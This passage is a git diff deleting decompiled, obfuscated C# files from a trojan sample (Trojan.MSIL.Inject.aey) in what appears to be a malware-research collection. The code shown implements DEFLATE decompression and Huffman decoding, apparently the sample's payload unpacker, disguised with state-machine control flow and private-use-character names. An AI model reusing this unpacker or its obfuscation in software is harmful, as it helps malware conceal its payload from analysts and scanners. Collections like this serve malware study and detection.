\uE00A.\uE017[19] = 769; - \uE00A.\uE017[20] = 1025; - \uE00A.\uE017[21] = 1537; - \uE00A.\uE017[22] = 2049; - \uE00A.\uE017[23] = 3073; - \uE00A.\uE017[24] = 4097; - \uE00A.\uE017[25] = 6145; - \uE00A.\uE017[26] = 8193; - \uE00A.\uE017[27] = 12289; - \uE00A.\uE017[28] = 16385; - \uE00A.\uE017[29] = 24577; - \uE00A.\uE018 = new int[30]; - int index2 = 4; - int num4 = 0; - for (; index2 < 30; ++index2) - { - if (index2 % 2 == 0) - ++num4; - \uE00A.\uE018[index2] = num4; - } - for (int index3 = 0; index3 <= 143; ++index3) - { - \uE00A.\uE011[index3].\uE000 = 48 + index3; - \uE00A.\uE011[index3].\uE001 = 8; - } - for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4) - { - \uE00A.\uE011[index4].\uE000 = 400 + index4 - 144; - \uE00A.\uE011[index4].\uE001 = 9; - } - for (int index5 = 256; index5 <= 279; ++index5) - { - \uE00A.\uE011[index5].\uE000 = index5 - 256; - \uE00A.\uE011[index5].\uE001 = 7; - } - for (int index6 = 280; index6 <= 287; ++index6) - { - \uE00A.\uE011[index6].\uE000 = 192 + index6 - 280; - \uE00A.\uE011[index6].\uE001 = 8; - } - for (int index7 = 0; index7 <= 31; ++index7) - { - \uE00A.\uE012[index7].\uE000 = index7; - \uE00A.\uE012[index7].\uE001 = 5; - } - \uE00A.\uE013 = \uE00A.\uE004(\uE00A.\uE011, \uE00A.\uE012); - } - else - goto label_61; - } - - internal static int \uE000(int[] _param0, int[] _param1) - { - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index] * _param1[index]; - num2 = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - return num1; - goto label_3; - } - - internal static int \uE001(int[] _param0, int[] _param1) - { - int num1 = 0; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index1; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index1] * \uE00A.\uE011[index1].\uE001; - num2 = 1; - goto label_1; -label_5: - if (index1 >= _param0.Length) - { - for (int index2 = 0; index2 < _param1.Length; ++index2) - num1 += _param1[index2] * \uE00A.\uE012[index2].\uE001; - return num1; - } - goto label_3; - } - - internal static \uE00B[] \uE002(int[] _param0) - { - \uE00B[] objArray = new \uE00B[_param0.Length]; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num = 0; - goto label_1; -label_3: - objArray[index].\uE001 = _param0[index]; - num = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - { - \uE00A.\uE003(objArray); - return objArray; - } - goto label_3; - } - - internal static void \uE003(\uE00B[] _param0) - { - int num1 = _param0[0].\uE001; - int index1 = 1; - if ((index1 == 0 ? 0 : 1) != 0) - goto label_4; -label_1: - if (num1 < _param0[index1].\uE001) - num1 = _param0[index1].\uE001; - ++index1; -label_4: - if (index1 >= _param0.Length) - { - int[] numArray1 = new int[num1 + 1]; - for (int index2 = 0; index2 < _param0.Length; ++index2) - ++numArray1[_param0[index2].\uE001]; - int[] numArray2 = new int[num1 + 1]; -label_10: - int num2 = 0; - int num3; - int index3; - while (true) - { - switch (num2) - { - case 0: - num3 = 0; - num2 = 1; - continue; - case 1: - numArray1[0] = 0; - num2 = 2; - continue; - case 2: - index3 = 1; - num2 = 3; - continue; - case 3: - goto label_16; - default: - goto label_10; - } - } -label_16: - for (; index3 <= num1; ++index3) - { - num3 = num3 + numArray1[index3 - 1] << 1; - numArray2[index3] = num3; - } - for (int index4 = 0; index4 < _param0.Length; ++index4) - { - int index5 = _param0[index4].\uE001; - if (index5 != 0) - { - _param0[index4].\uE000 = numArray2[index5]; - ++numArray2[index5]; - } - } - } - else - goto label_1; - } - - internal static \uE00D \uE004(\uE00B[] _param0, \uE00B[] _param1) => new \uE00D() - { - \uE000 = \uE00A.\uE005(_param0), - \uE001 = \uE00A.\uE005(_param1) - }; - - internal static \uE00C \uE005(\uE00B[] _param0) - { - \uE00A.\uE008[] objArray = new \uE00A.\uE008[_param0.Length]; - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_9; -label_1: - if (_param0[index].\uE001 > 0) - { - \uE00A.\uE008 obj = new \uE00A.\uE008(); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - obj.\uE000 = _param0[index]; - num2 = 1; - continue; - case 1: - obj.\uE001 = (ushort) index; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7: - objArray[num1++] = obj; - } - ++index; -label_9: - if (index >= _param0.Length) - { - if (_param0.Length < 1) - throw new InvalidOperationException(); - return \uE00A.\uE006(objArray, num1, 0, 0); - } - goto label_1; - } - - private static \uE00C \uE006( - \uE00A.\uE008[] _param0, - int _param1, - int _param2, - int _param3) - { - \uE00A.\uE008[] objArray1 = new \uE00A.\uE008[_param1]; - \uE00A.\uE008[] objArray2 = new \uE00A.\uE008[_param1]; - \uE00C obj1 = new \uE00C(); - obj1.\uE000 = false; - int num1; - int num2 = num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_11; -label_1: - \uE00A.\uE008 obj2 = _param0[index]; - if (obj2.\uE000.\uE001 == _param3 && obj2.\uE000.\uE000 == _param2) - { - obj1.\uE000 = true; - obj1.\uE001 = obj2.\uE001; - } - else - { - bool flag = (obj2.\uE000.\uE000 >> obj2.\uE000.\uE001 - _param3 - 1 & 1) != 0; -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (flag) - { - num3 = 1; - continue; - } - goto label_9; - case 1: - objArray2[num2++] = obj2; - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_5; - } - } -label_9: - objArray1[num1++] = obj2; - } -label_10: - ++index; -label_11: - if (index >= _param1) - { - if (obj1.\uE000) - { - if (num2 > 0 || num1 > 0) - throw new InvalidOperationException(); - } - else - { - if (num1 > 0) - obj1.\uE002 = \uE00A.\uE006(objArray1, num1, _param2 << 1, _param3 + 1); - if (num2 > 0) - obj1.\uE003 = \uE00A.\uE006(objArray2, num2, _param2 << 1 | 1, _param3 + 1); - } - return obj1; - } - goto label_1; - } - - internal static void \uE007(int _param0, out int _param1, out int _param2) - { - _param1 = \uE00A.\uE015[_param0 - 257]; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = \uE00A.\uE016[_param0 - 257]; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - internal static void \uE008(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE015, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index + 257; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE015[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE016[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static void \uE009(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE017, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE017[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE018[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static int[] \uE00A(int[] _param0, int _param1) => \uE00A.\uE000.\uE000(_param0, _param1); - - internal static int[] \uE00B(int[] _param0) => \uE00A.\uE000.\uE000(_param0, 15); - - internal static int \uE00C(int _param0) - { - int num1 = _param0; -label_2: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - switch (num1) - { - case 16: - goto label_5; - case 17: - goto label_6; - case 18: - goto label_7; - default: - num2 = 1; - continue; - } - case 1: - goto label_8; - default: - goto label_2; - } - } -label_5: - return 2; -label_6: - return 3; -label_7: - return 7; -label_8: - return 0; - } - - internal static int[] \uE00D(int[] _param0, int _param1, int _param2) - { - ArrayList arrayList = new ArrayList(); - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - if (_param0[_param1 + num1] == 0) - { - int num2 = 0; - do - { - ++num2; - } - while (num1 + num2 < _param2 && num2 < 138 && _param0[_param1 + num1 + num2] == 0); - if (num2 < 3) - { - if (num2 >= 1) - arrayList.Add((object) 0); - if (num2 >= 2) - arrayList.Add((object) 0); - } - else if (num2 < 11) - { - arrayList.Add((object) 17); - arrayList.Add((object) (num2 - 3)); - } - else - { - arrayList.Add((object) 18); - arrayList.Add((object) (num2 - 11)); - } - num1 += num2; - } - else - { - int num3 = _param0[_param1 + num1++]; -label_15: - int num4 = 1; - int num5; - while (true) - { - switch (num4) - { - case 0: - num5 = 0; - num4 = 2; - continue; - case 1: - arrayList.Add((object) num3); - num4 = 0; - continue; - case 2: - goto label_19; - default: - goto label_15; - } - } -label_19: - while (num1 + num5 < _param2 && num5 < 6 && _param0[_param1 + num1 + num5] == num3) - ++num5; - if (num5 >= 3) - { - arrayList.Add((object) 16); - arrayList.Add((object) (num5 - 3)); - num1 += num5; - } - } -label_22: - if (num1 >= _param2) - return (int[]) arrayList.ToArray(typeof (int)); - goto label_1; - } - - private sealed class \uE000 - { - internal static int[] \uE000(int[] _param0, int _param1) - { - int[] items = new int[_param0.Length]; - int[] numArray1 = new int[_param0.Length]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_2; -label_1: - items[index1] = index1; - ++index1; -label_2: - if (index1 >= items.Length) - { - Array.Copy((Array) _param0, (Array) numArray1, _param0.Length); - Array.Sort(numArray1, items); - int sourceIndex = 0; - while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0) - ++sourceIndex; - int[] destinationArray = new int[numArray1.Length - sourceIndex]; -label_8: - int num = 1; - int[] numArray2; - while (true) - { - switch (num) - { - case 0: - if (destinationArray.Length == 0) - { - num = 2; - continue; - } - goto label_13; - case 1: - Array.Copy((Array) numArray1, sourceIndex, (Array) destinationArray, 0, destinationArray.Length); - num = 0; - continue; - case 2: - numArray2 = new int[0]; - num = 3; - continue; - case 3: - goto label_16; - default: - goto label_8; - } - } -label_13: - if (destinationArray.Length == 1) - numArray2 = new int[1]{ 1 }; - else - numArray2 = \uE00A.\uE000.\uE001(destinationArray, _param1); -label_16: - int[] numArray3 = new int[_param0.Length]; - for (int index2 = 0; index2 < numArray2.Length; ++index2) - numArray3[items[index2 + sourceIndex]] = numArray2[index2]; - return numArray3; - } - goto label_1; - } - - private static int[] \uE001(int[] _param0, int _param1) - { - int length = _param0.Length; -label_2: - int num1 = 3; - int[][] numArray1; - int index1; - int[] numArray2; - while (true) - { - switch (num1) - { - case 0: - numArray1[0] = _param0; - num1 = 2; - continue; - case 1: - if (index1 != 0) - { - num1 = 5; - continue; - } - goto label_10; - case 2: - numArray2 = new int[_param0.Length / 2]; - num1 = 4; - continue; - case 3: - numArray1 = new int[_param1][]; - num1 = 0; - continue; - case 4: - index1 = 0; - num1 = 1; - continue; - case 5: - goto label_9; - default: - goto label_2; - } - } -label_9: - int num2 = 0; - goto label_11; -label_10: - num2 = 1; -label_11: - if (num2 != 0) - goto label_13; -label_12: - numArray2[index1] = _param0[index1 * 2] + _param0[index1 * 2 + 1]; - ++index1; -label_13: - if (index1 >= numArray2.Length) - { - for (int index2 = 1; index2 < _param1; ++index2) - { - int[] numArray3 = \uE00A.\uE000.\uE002(numArray2, _param0); - numArray1[index2] = numArray3; - numArray2 = new int[numArray3.Length / 2]; - for (int index3 = 0; index3 < numArray2.Length; ++index3) - numArray2[index3] = numArray3[index3 * 2] + numArray3[index3 * 2 + 1]; - } - int[] numArray4 = new int[length]; - int num3 = length - 1; - for (int index4 = _param1 - 1; index4 >= 0; --index4) - { - int[] numArray5 = numArray1[index4]; - int num4 = 0; - int index5 = 0; - for (int index6 = 0; index6 < num3 * 2; ++index6) - { - if (index5 < _param0.Length && _param0[index5] == numArray5[index6]) - { - ++numArray4[index5]; - ++index5; - } - else - ++num4; - } - num3 = num4; - } - return numArray4; - } - goto label_12; - } - - private static int[] \uE002(int[] _param0, int[] _param1) - { - int[] numArray = new int[_param0.Length + _param1.Length]; -label_2: - int num1 = 3; - int index1; - int num2; - int index2; - while (true) - { - switch (num1) - { - case 0: - index1 = 0; - num1 = 2; - continue; - case 1: - if (num2 != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 2: - num2 = 0; - num1 = 1; - continue; - case 3: - index2 = 0; - num1 = 0; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num3 = 0; - goto label_10; -label_9: - num3 = 1; -label_10: - if (num3 != 0) - goto label_12; -label_11: - numArray[num2++] = _param0[index2] >= _param1[index1] ? _param1[index1++] : _param0[index2++]; -label_12: - if (index2 >= _param0.Length || index1 >= _param1.Length) - { - while (index2 < _param0.Length) - numArray[num2++] = _param0[index2++]; - while (index1 < _param1.Length) - numArray[num2++] = _param1[index1++]; - return numArray; - } - goto label_11; - } - } - - private struct \uE008 - { - internal \uE00B \uE000; - internal ushort \uE001; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 0838405c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal struct \uE00B -{ - public int \uE000; - public int \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index f6a4e099..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \uE00C -{ - internal bool \uE000; - internal ushort \uE001; - internal \uE00C \uE002; - internal \uE00C \uE003; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index e04effeb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \uE00D -{ - internal \uE00C \uE000; - internal \uE00C \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index eddb0aa7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,798 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; - -internal sealed class \uE00E -{ - public static void \uE000(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - \uE00E.\uE000 obj = new \uE00E.\uE000(_param0); - while (true) - { - int count = obj.\uE000(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - public sealed class \uE000 - { - private \uE00E.\uE009 \uE000 = new \uE00E.\uE009(32769); - private \uE00E.\uE008 \uE001; - private \uE00D \uE002; - private int \uE003 = -1; - private int \uE004 = -1; - private bool \uE005; - private int \uE006; - private long \uE007; - private long \uE008; - private bool \uE009; - private int \uE00A; - private bool \uE00B; - - public \uE000(Stream _param1) => this.\uE001 = new \uE00E.\uE008(_param1); - - public int \uE000(byte[] _param1, int _param2, int _param3) - { - if ((_param1 == null ? 0 : 1) == 0) - throw new ArgumentNullException(); - if (_param3 == 0 || this.\uE009) - return 0; - int num1 = 0; -label_15: - while (num1 < _param3) - { - while (this.\uE003 < 0 && !this.\uE009) - this.\uE009 = !this.\uE001(); - if (!this.\uE009) - { - int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1); -label_10: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_14; - case 1: - num1 += num2; - num3 = 2; - continue; - case 2: - goto label_15; - default: - goto label_10; - } - } -label_14: - this.\uE003 = -1; - } - else - break; - } - return num1; - } - - private bool \uE001() - { - if ((!this.\uE005 ? 1 : 0) == 0) - return false; - this.\uE007 = this.\uE001.\uE004; -label_4: - int num1 = 2; - int num2; - while (true) - { - switch (num1) - { - case 0: - switch (num2) - { - case 0: - goto label_10; - case 1: - goto label_13; - case 2: - goto label_14; - default: - num1 = 4; - continue; - } - case 1: - this.\uE003 = this.\uE001.\uE000(2); - num1 = 3; - continue; - case 2: - this.\uE005 = this.\uE001.\uE000(1) > 0; - num1 = 1; - continue; - case 3: - num2 = this.\uE003; - num1 = 0; - continue; - case 4: - goto label_15; - default: - goto label_4; - } - } -label_10: - this.\uE001.\uE001(); - int num3 = this.\uE001.\uE000(16); - int num4 = this.\uE001.\uE000(16); - this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException(); - this.\uE002 = (\uE00D) null; - this.\uE00B = true; - goto label_16; -label_13: - \uE00B[] objArray1 = \uE00A.\uE011; - \uE00B[] objArray2 = \uE00A.\uE012; - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE013; - this.\uE00B = false; - goto label_16; -label_14: - \uE00B[] objArray3; - \uE00B[] objArray4; - this.\uE009(this.\uE001, out objArray3, out objArray4); - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE004(objArray3, objArray4); - this.\uE00B = false; - goto label_16; -label_15: - throw new InvalidOperationException(); -label_16: - this.\uE008 = this.\uE001.\uE004; - return true; - } - - private int \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = _param2; - if ((this.\uE003 == 0 ? 0 : 1) == 0) - { - if (this.\uE006 > 0) - { - int num2 = Math.Min(_param3, this.\uE006); -label_4: - int num3 = 3; - while (true) - { - switch (num3) - { - case 0: - _param2 += num2; - num3 = 5; - continue; - case 1: - _param3 -= num2; - num3 = 0; - continue; - case 2: - this.\uE000.\uE001(_param1, _param2, num2); - num3 = 4; - continue; - case 3: - this.\uE001.\uE002(_param1, _param2, num2); - num3 = 2; - continue; - case 4: - this.\uE006 -= num2; - num3 = 1; - continue; - case 5: - goto label_22; - default: - goto label_4; - } - } - } - } - else if (!this.\uE00B) - { - if (this.\uE00A > 0) - this.\uE003(_param1, ref _param2, ref _param3); - if (_param3 > 0) - { - do - { - int num4 = \uE00E.\uE000.\uE006(this.\uE001, this.\uE002.\uE000); - this.\uE00B = num4 == 256; - if (!this.\uE00B) - { - if (num4 < 256) - { - _param1[_param2++] = (byte) num4; - this.\uE000.\uE000((byte) num4); - --_param3; - } - else if (num4 <= 285) - { - int num5 = \uE00E.\uE000.\uE007(this.\uE001, num4); - int num6 = \uE00E.\uE000.\uE008(this.\uE001, this.\uE002.\uE001); - if ((long) num6 > this.\uE000.\uE003) - throw new InvalidOperationException(); - this.\uE004 = num6; - this.\uE00A = num5; - this.\uE003(_param1, ref _param2, ref _param3); - } - } - else - break; - } - while (_param3 > 0); - } - } -label_22: - this.\uE008 = this.\uE001.\uE004; - return _param2 - num1; - } - - private void \uE003(byte[] _param1, ref int _param2, ref int _param3) - { - int num1 = Math.Min(this.\uE00A, _param3); - byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004)); - _param3 -= num1; - this.\uE00A -= num1; - while ((num1 <= sourceArray.Length ? 0 : 1) != 0) - { - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length); -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - _param2 += sourceArray.Length; - num2 = 1; - continue; - case 1: - num1 -= sourceArray.Length; - num2 = 2; - continue; - case 2: - goto label_6; - default: - goto label_3; - } - } -label_6: - this.\uE000.\uE001(sourceArray, 0, sourceArray.Length); - } - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1); - _param2 += num1; - this.\uE000.\uE001(sourceArray, 0, num1); - } - - public bool \uE004(int _param1) - { - byte[] numArray = new byte[1024]; - int num; - while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0) - _param1 -= num; - return _param1 <= 0; - } - - public void \uE005() - { - byte[] numArray = new byte[1024]; - do - ; - while (this.\uE000(numArray, 0, 1024) > 0); - } - - private static int \uE006(\uE00E.\uE008 _param0, \uE00C _param1) - { - while (true) - { - if (_param1 == null) - goto label_7; - else - goto label_4; -label_3: - int num; - while (true) - { - switch (num) - { - case 0: - if (_param1.\uE000) - { - num = 1; - continue; - } - goto label_1; - case 1: - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_1: - _param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002; - continue; -label_4: - num = 0; - goto label_3; -label_7: - if (_param1 == null) - { - num = 2; - goto label_3; - } - else - goto label_10; - } -label_9: - throw new InvalidOperationException(); -label_10: - return (int) _param1.\uE001; - } - - private static int \uE007(\uE00E.\uE008 _param0, int _param1) - { - int num1; - int num2; - \uE00A.\uE007(_param1, out num1, out num2); -label_2: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - return num1 + _param0.\uE000(num2); -label_6: - return num1; - } - - private static int \uE008(\uE00E.\uE008 _param0, \uE00C _param1) - { - int index = \uE00E.\uE000.\uE006(_param0, _param1); - int num1 = index <= 29 ? \uE00A.\uE017[index] : throw new InvalidOperationException(); -label_4: - int num2 = 1; - int num3; - int num4; - while (true) - { - switch (num2) - { - case 0: - if (num3 > 0) - { - num2 = 4; - continue; - } - goto label_15; - case 1: - num3 = \uE00A.\uE018[index]; - num2 = 0; - continue; - case 2: - if (index == 284) - { - num2 = 3; - continue; - } - goto label_14; - case 3: - if (num4 > 30) - { - num2 = 5; - continue; - } - goto label_14; - case 4: - num4 = _param0.\uE000(num3); - num2 = 2; - continue; - case 5: - goto label_13; - default: - goto label_4; - } - } -label_13: - throw new InvalidOperationException(); -label_14: - return num1 + num4; -label_15: - return num1; - } - - private void \uE009(\uE00E.\uE008 _param1, out \uE00B[] _param2, out \uE00B[] _param3) - { - int length1 = _param1.\uE000(5) + 257; -label_2: - int num1 = 1; - int num2; - int length2; - while (true) - { - switch (num1) - { - case 0: - num2 = _param1.\uE000(4) + 4; - num1 = 2; - continue; - case 1: - length2 = _param1.\uE000(5) + 1; - num1 = 0; - continue; - case 2: - if (length1 > 286) - { - num1 = 3; - continue; - } - goto label_8; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - throw new InvalidOperationException(); -label_8: - int[] numArray1 = \uE00A.\uE014; - int[] numArray2 = new int[19]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_10; -label_9: - numArray2[numArray1[index1]] = _param1.\uE000(3); - ++index1; -label_10: - if (index1 >= num2) - { - \uE00C obj = \uE00A.\uE005(\uE00A.\uE002(numArray2)); - int[] numArray3 = \uE00E.\uE000.\uE00A(_param1, obj, length1 + length2); - _param2 = new \uE00B[length1]; - for (int index2 = 0; index2 < length1; ++index2) - _param2[index2].\uE001 = numArray3[index2]; - \uE00A.\uE003(_param2); - _param3 = new \uE00B[length2]; - for (int index3 = 0; index3 < length2; ++index3) - _param3[index3].\uE001 = numArray3[index3 + length1]; - \uE00A.\uE003(_param3); - } - else - goto label_9; - } - - private static int[] \uE00A(\uE00E.\uE008 _param0, \uE00C _param1, int _param2) - { - int[] numArray = new int[_param2]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - int num1 = \uE00E.\uE000.\uE006(_param0, _param1); -label_3: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - numArray[index1] = num1; - num2 = 2; - continue; - case 1: - if (num1 < 16) - { - num2 = 0; - continue; - } - goto label_7; - case 2: - goto label_21; - default: - goto label_3; - } - } -label_7: - switch (num1) - { - case 16: - int num3 = _param0.\uE000(2) + 3; - if (num3 + index1 > numArray.Length) - throw new InvalidOperationException(); - for (int index2 = 0; index2 < num3; ++index2) - numArray[index1 + index2] = numArray[index1 - 1]; - index1 += num3 - 1; - break; - case 17: - int num4 = _param0.\uE000(3) + 3; - if (num4 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num4 - 1; - break; - case 18: - int num5 = _param0.\uE000(7) + 11; - if (num5 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num5 - 1; - break; - default: - throw new InvalidOperationException(); - } -label_21: - ++index1; -label_22: - if (index1 >= _param2) - return numArray; - goto label_1; - } - } - - private sealed class \uE008 - { - private uint \uE000; - private int \uE001; - private int \uE002; - private Stream \uE003; - internal long \uE004; - - internal \uE008(Stream _param1) => this.\uE003 = _param1; - - internal int \uE000(int _param1) - { - this.\uE004 += (long) _param1; - for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8) - { - this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002; - this.\uE002 += 8; - } - int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1; -label_5: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - this.\uE002 = this.\uE001 = 0; - num2 = 1; - continue; - case 1: - this.\uE000 = 0U; - num2 = 4; - continue; - case 2: - this.\uE001 += _param1; - num2 = 3; - continue; - case 3: - if (this.\uE002 == this.\uE001) - { - num2 = 0; - continue; - } - goto label_11; - case 4: - goto label_13; - default: - goto label_5; - } - } -label_11: - if (this.\uE001 >= 8) - { - this.\uE000 >>= this.\uE001; - this.\uE002 -= this.\uE001; - this.\uE001 = 0; - } -label_13: - return num1; - } - - internal void \uE001() - { - if (this.\uE002 != this.\uE001) - this.\uE004 += (long) (this.\uE002 - this.\uE001); - this.\uE002 = this.\uE001 = 0; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000 = 0U; - num = 1; - continue; - case 1: - goto label_6; - default: - goto label_4; - } - } -label_6:; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002 != this.\uE001) - throw new InvalidOperationException(); - int num1 = this.\uE003.Read(_param1, _param2, _param3); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - this.\uE004 += (long) (num1 << 3); - num2 = 1; - continue; - case 1: - if (num1 != _param3) - { - num2 = 2; - continue; - } - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_7: - return; -label_9: - throw new InvalidOperationException(); - } - } - - private sealed class \uE009 - { - private byte[] \uE000; - private int \uE001; - internal int \uE002; - internal long \uE003; - - internal \uE009(int _param1) - { - this.\uE002 = _param1; - this.\uE000 = new 